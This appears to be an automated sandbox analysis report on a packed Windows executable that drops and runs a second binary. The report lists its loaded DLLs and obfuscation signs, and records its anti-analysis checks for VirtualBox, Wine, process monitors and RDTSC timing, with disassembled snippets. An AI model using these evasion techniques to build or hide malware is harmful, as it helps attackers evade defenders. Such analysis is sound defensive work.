Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe "C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe "C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Section loaded: sspicli.dll	Jump to behavior

Source: file.exe

Static file information: File size 3006464 > 1048576

Source: file.exe

Static PE information: Raw size of jgbrpryb is bigger than: 0x100000 < 0x2b2a00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.590000.0.unpack :EW;.rsrc :W;.idata :W;jgbrpryb:EW;bwsaysku:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;jgbrpryb:EW;bwsaysku:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Unpacked PE file: 5.2.4EIXPY3PJ1MHC0SHPSNPXSN.exe.960000.0.unpack :EW;.rsrc:W;.idata :W;whplpvpi:EW;yoktbieb:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x2e3fff should be: 0x2ea231
Source: 4EIXPY3PJ1MHC0SHPSNPXSN.exe.0.dr	Static PE information: real checksum: 0x2b4798 should be: 0x2ae835

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: jgbrpryb
Source: file.exe	Static PE information: section name: bwsaysku
Source: file.exe	Static PE information: section name: .taggant
Source: 4EIXPY3PJ1MHC0SHPSNPXSN.exe.0.dr	Static PE information: section name:
Source: 4EIXPY3PJ1MHC0SHPSNPXSN.exe.0.dr	Static PE information: section name: .idata
Source: 4EIXPY3PJ1MHC0SHPSNPXSN.exe.0.dr	Static PE information: section name: whplpvpi
Source: 4EIXPY3PJ1MHC0SHPSNPXSN.exe.0.dr	Static PE information: section name: yoktbieb
Source: 4EIXPY3PJ1MHC0SHPSNPXSN.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_014DCF70 pushfd ; iretd	0_3_014DCF71
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AE7E90 push ebx; mov dword ptr [esp], eax	5_2_00AE7F17
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AE7E90 push 237D6690h; mov dword ptr [esp], esi	5_2_00AE7F36
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00971094 push 08F6682Ah; mov dword ptr [esp], ecx	5_2_00972220
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_0097389D push ebx; mov dword ptr [esp], edi	5_2_009738A4
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_0096C09B push 21E07D26h; mov dword ptr [esp], ebp	5_2_0096C6DE
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_0097088C push 428F79A2h; mov dword ptr [esp], edx	5_2_00975177
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_0096E8B4 push 4A8B41E9h; mov dword ptr [esp], edx	5_2_0096F242
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_0096E8BF push esi; mov dword ptr [esp], edi	5_2_0096EAF2
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AFC080 push edx; mov dword ptr [esp], ecx	5_2_00AFC08E
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AFE095 push ecx; ret	5_2_00AFE0DE
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AFF890 push esi; mov dword ptr [esp], 1440025Ah	5_2_00AFF8CB
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AFF890 push edi; mov dword ptr [esp], 5E75E56Ah	5_2_00AFF939
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_009730DD push 71E6F6AFh; mov dword ptr [esp], ecx	5_2_009730E2
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AF58E0 push ebp; mov dword ptr [esp], eax	5_2_00AF58F6
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AFE0CF push ecx; ret	5_2_00AFE0DE
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AFC0C6 push 7968FB7Eh; mov dword ptr [esp], ebp	5_2_00AFC0CB
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AFC0C6 push eax; mov dword ptr [esp], ebx	5_2_00AFC0D7
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00B01033 push eax; mov dword ptr [esp], edx	5_2_00B01040
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_0096D81E push ebx; mov dword ptr [esp], edx	5_2_0096D8FA
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00B0183D push 5129F9EEh; mov dword ptr [esp], edx	5_2_00B01846
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00B0183D push esi; mov dword ptr [esp], ebp	5_2_00B0184C
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00B0183D push 0691DCE1h; mov dword ptr [esp], ecx	5_2_00B018B7
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AFF83E push esi; mov dword ptr [esp], 1440025Ah	5_2_00AFF8CB
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AFF83E push edi; mov dword ptr [esp], 5E75E56Ah	5_2_00AFF939
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AFE03B push ecx; ret	5_2_00AFE04A
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_0097100E push edi; mov dword ptr [esp], 7FFBE50Ch	5_2_00973048
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AFF836 push esi; mov dword ptr [esp], 1440025Ah	5_2_00AFF8CB
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AFF836 push edi; mov dword ptr [esp], 5E75E56Ah	5_2_00AFF939
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_0096C00C push 36DF204Fh; mov dword ptr [esp], edi	5_2_0096C88D
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_00AFE00C push ebp; ret	5_2_00AFE01B

Source: file.exe	Static PE information: section name: entropy: 7.9792575682107305
Source: 4EIXPY3PJ1MHC0SHPSNPXSN.exe.0.dr	Static PE information: section name: entropy: 7.798480166500149

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7687FF second address: 768819 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDD98C55BE6h 0x00000008 jmp 00007FDD98C55BEDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7679D5 second address: 7679DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7679DB second address: 7679E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7679E0 second address: 7679E5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767C2A second address: 767C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767C36 second address: 767C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767D5F second address: 767D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDD98C55BE6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FDD98C55BE6h 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767D74 second address: 767DB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FDD98B6CD1Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FDD98B6CD1Eh 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 jmp 00007FDD98B6CD1Bh 0x00000019 pop eax 0x0000001a jmp 00007FDD98B6CD20h 0x0000001f push eax 0x00000020 push edx 0x00000021 jnc 00007FDD98B6CD16h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767DB9 second address: 767DC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767F3D second address: 767F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BC5D second address: 76BC61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BC61 second address: 76BC89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jg 00007FDD98B6CD18h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDD98B6CD25h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BC89 second address: 76BC8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BC8D second address: 76BCB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edi 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007FDD98B6CD1Dh 0x00000014 popad 0x00000015 pop edi 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jno 00007FDD98B6CD16h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BCB6 second address: 5EEF5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FDD98C55BECh 0x0000000f popad 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push edi 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 jno 00007FDD98C55BE6h 0x0000001e popad 0x0000001f pop edi 0x00000020 pop eax 0x00000021 pushad 0x00000022 pushad 0x00000023 movzx eax, bx 0x00000026 or bl, 00000020h 0x00000029 popad 0x0000002a or cx, 1FD5h 0x0000002f popad 0x00000030 push dword ptr [ebp+122D09C1h] 0x00000036 sbb cx, C601h 0x0000003b call dword ptr [ebp+122D35AEh] 0x00000041 pushad 0x00000042 sub dword ptr [ebp+122D34CBh], edi 0x00000048 xor eax, eax 0x0000004a add dword ptr [ebp+122D34CBh], eax 0x00000050 jmp 00007FDD98C55BEDh 0x00000055 mov edx, dword ptr [esp+28h] 0x00000059 mov dword ptr [ebp+122D36D9h], edi 0x0000005f mov dword ptr [ebp+122D3D19h], eax 0x00000065 stc 0x00000066 mov esi, 0000003Ch 0x0000006b jmp 00007FDD98C55BF9h 0x00000070 add esi, dword ptr [esp+24h] 0x00000074 jg 00007FDD98C55BF0h 0x0000007a lodsw 0x0000007c stc 0x0000007d add eax, dword ptr [esp+24h] 0x00000081 jmp 00007FDD98C55BF9h 0x00000086 mov ebx, dword ptr [esp+24h] 0x0000008a mov dword ptr [ebp+122D1CC0h], edi 0x00000090 nop 0x00000091 push eax 0x00000092 push edx 0x00000093 jmp 00007FDD98C55BF3h 0x00000098 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BDFE second address: 76BE03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BE03 second address: 76BE08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BEF0 second address: 76BEF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BEF6 second address: 76BEFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BEFA second address: 76BEFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BFCE second address: 76BFD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BFD2 second address: 76C00E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b jl 00007FDD98B6CD2Bh 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 pop eax 0x00000016 popad 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b jns 00007FDD98B6CD18h 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C00E second address: 76C090 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jnc 00007FDD98C55BECh 0x00000014 pop eax 0x00000015 adc edi, 19A49F38h 0x0000001b call 00007FDD98C55BF8h 0x00000020 mov ecx, 68719061h 0x00000025 pop ecx 0x00000026 lea ebx, dword ptr [ebp+12450B88h] 0x0000002c jmp 00007FDD98C55BF5h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FDD98C55BF3h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C11C second address: 76C12C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98B6CD1Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C12C second address: 76C131 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C131 second address: 76C14C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDD98B6CD16h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDD98B6CD1Bh 0x00000015 rdtsc
